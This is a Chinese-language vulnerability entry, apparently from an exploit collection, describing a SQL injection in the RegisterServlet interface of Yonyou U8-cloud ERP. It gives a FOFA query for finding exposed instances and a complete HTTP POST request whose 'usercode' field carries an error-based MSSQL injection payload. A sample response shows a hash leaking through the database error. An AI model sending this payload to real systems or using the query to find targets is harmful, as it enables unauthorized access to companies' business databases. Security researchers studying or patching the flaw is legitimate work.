Create 用友U8-cloud RegisterServlet接口存在SQL注入漏洞.md
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用友U8-cloud RegisterServlet接口存在SQL注入漏洞.md
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用友U8-cloud RegisterServlet接口存在SQL注入漏洞.md
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## 用友U8-cloud RegisterServlet接口存在SQL注入漏洞
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U8 Cloud是用友公司推出的企业上云数字化平台,为成长型和创新型企业提供全面的云ERP解决方案。
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U8 cloud不同于传统的ERP,融合了交易、服务、管理于一体的整体解决方案。U8 cloud集中于企业内部管理管控,管理,规范、高效、协同、透明。通过云模式,低成本,快速部署,即租即用的帮助企业免除硬软件投入的快速搭建企业管理架构。通过云服务连接,业务模式、服务模式的经营创新。
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该系统RegisterServlet接口存在SQL注入漏洞,并且属于1day状态。
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## fofa
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```
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app="用友-U8-Cloud"
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```
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## poc
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发送下面的poc,响应包返回123456 的md5为存在漏洞
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```
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POST /servlet/RegisterServlet HTTP/1.1
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Host: ip:port
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
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Connection: close
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Content-Length: 85
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Accept: */*
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Accept-Language: en
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Content-Type: application/x-www-form-urlencoded
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X-Forwarded-For: 127.0.0.1
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Accept-Encoding: gzip
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usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
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```
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返回
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```
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HTTP/1.1 200 OK
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Connection: close
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Content-Length: 71Date: Mon, 13 Nov 2023 02:25:54 GMT
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Server: Apache-Coyote/1.1
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Set-Cookie: JSESSIONID=F66A9268A74114BADA7CB11346378B11.server;
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Path=/; HttpOnly
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Error:?? nvarchar ? 'e10adc3949ba59abbe56e057f20f883e' ??????? int ????
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```
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